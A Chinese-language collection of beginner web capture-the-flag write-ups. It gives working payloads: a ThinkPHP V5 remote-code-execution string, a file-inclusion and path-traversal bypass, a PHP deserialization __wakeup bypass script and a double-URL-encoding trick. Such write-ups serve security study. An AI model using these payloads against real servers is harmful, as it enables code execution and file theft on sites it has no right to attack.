打开链接,只看到HELLO WORLD,
根据题目描述:想想初始页面是哪个,想到index.php,将url改成http://111.198.29.45:46872/index.php
后发现页面仍然是1.php,用burp拦截数据包,
进行Repeater,得到flag。
打开链接,
根据题目,猜想题目关键点为robots.txt,访问robots.txt,
根据页面提示,访问/fl0g.php
得到flag。
打开链接,
根据题目和页面显示,该题目关键点为ThinkPHP V5 rce漏洞,根据网上的payload进行修改后得到flag。
payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'
打开链接,是一段php代码,
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
关键点在文件包含php://伪协议和strstr()函数绕过,php://input 是个可以访问请求的原始数据的只读流,可以读取POST数据流。
strstr()查找字符串的首次出现,采用大小写绕过。
打开链接,
F12看到source.php,访问source.php查看源码,
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//白名单,传入参数为source.php或hint.php则返回真,否则继续判断
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
//取传进参数首次出现?前的部分,再进行白名单判断,否则继续向下判断。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//进去的参数做urldecode,再进行上面的判断。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//检查变量是否为空,是否为字符串,通过函数进行检查。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
审计代码看到hint.php,访问hint.php,
构造payload:source.php?file=hint.php?/../../../../ffffllllaaaagggg
,得到flag。
打开链接,是代码审计题,分析代码,
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //将传入的var的值进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配
die('stop hacking!');
} else {
@unserialize($var); //将var反序列化
}
} else {
highlight_file("index.php");
}
?>
编写脚本,
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$B = serialize($A);
//echo $B;
$C = str_replace('O:4','O:+4',$B); //使用+绕过preg_match的正则表达式
//echo $C;
$D = str_replace(':1:',':2:',$C); //当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
//echo $D;
$E = base64_encode($D);//base64编码获取序列化的结果
echo $E;
?>
将base64编码get传参得到flag。
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
下载附件,用浏览器打开,是一个输入框,
分析源码,是一堆乱码,
最后有一个eval函数,将‘’中的代码执行了,将eval改为alert进行弹窗,得到源码。
整理之后得到,
function $(){
var e=document.getElementById("c").value;if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('');
delete _
当满足if条件时,就可以flag,输入be0f233ac7be98aa,
打开链接,
毫无思路,看了大佬文章之后才知道index.phps源码泄露,
查看页面源代码进行分析,
第一个条件:"admin"===$_GET[id]不成立,
第二个条件:经过url解码后要使得$_GET[id]=='''admin'成立
因此对admin进行url编码(需进行两个编码),
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
得到flag。